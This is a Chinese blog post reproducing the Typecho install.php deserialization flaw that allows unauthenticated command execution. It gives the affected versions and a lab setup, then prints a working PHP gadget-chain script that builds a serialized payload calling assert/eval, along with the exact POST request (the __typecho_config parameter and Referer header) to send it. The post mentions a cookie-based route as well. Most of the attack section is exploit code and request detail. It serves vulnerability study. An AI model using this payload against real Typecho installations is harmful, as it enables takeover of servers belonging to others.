您的位置:首页 > 运维架构 > Shell

Typecho反序列化导致前台 getshell 漏洞复现

2017-10-31 21:23 2291 查看

Typecho反序列化导致前台 getshell 漏洞复现

 

漏洞描述:

Typecho是一款快速建博客的程序,外观简洁,应用广泛。这次的漏洞通过install.php安装程序页面的反序列化函数,造成了命令执行。

 

影响范围:理论上这个漏洞影响Typecho 1.1(15.5.12)之前的版本

 

首先我还是记录一下敏感目录

http://127.0.0.1/typecho0.9/install.php

http://127.0.0.1/typecho0.9/install.php?finish&user=admin&password=admin

http://127.0.0.1/typecho0.9/admin/welcome.php

 

使用环境:

Phpstudy+win7虚拟机

Typecho_v1.0.14.tar.gz    https://pan.baidu.com/s/1jHQBKFk      (在里面找相应的名字)

 

漏洞成因:

Freebuf上的文章说的很清楚了,有两个需要理解的点:

第一个是__toString()魔法方法,在/install.php

__toString() //把类当作字符串使用时触发

<?php
class Typecho_Request
{
private $_params = array('screenName'=>'eval(\'phpinfo();exit();\')');
private $_filter = array('assert');
}
$payload1 = new Typecho_Request();
class Typecho_Feed
{
private $_type = 'RSS 2.0';
private $_items;
public function __construct($x1)
{
$this->_items[] = array('author'=>$x1);
}
}
$payload2 = new Typecho_Feed($payload1);
$exp['adapter'] = $payload2;
$exp['prefix'] = 'c1tas';
echo base64_encode(serialize($exp));
?>
View Code  

用post提交数据

url:http://192.168.198.128/Typecho1.0/install.php?finish=

Postdata:__typecho_config=前面脚本生成的

Referrer:http://192.168.198.128/Typecho1.0/

 

另一种方式是通过cookie提交

 

 

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: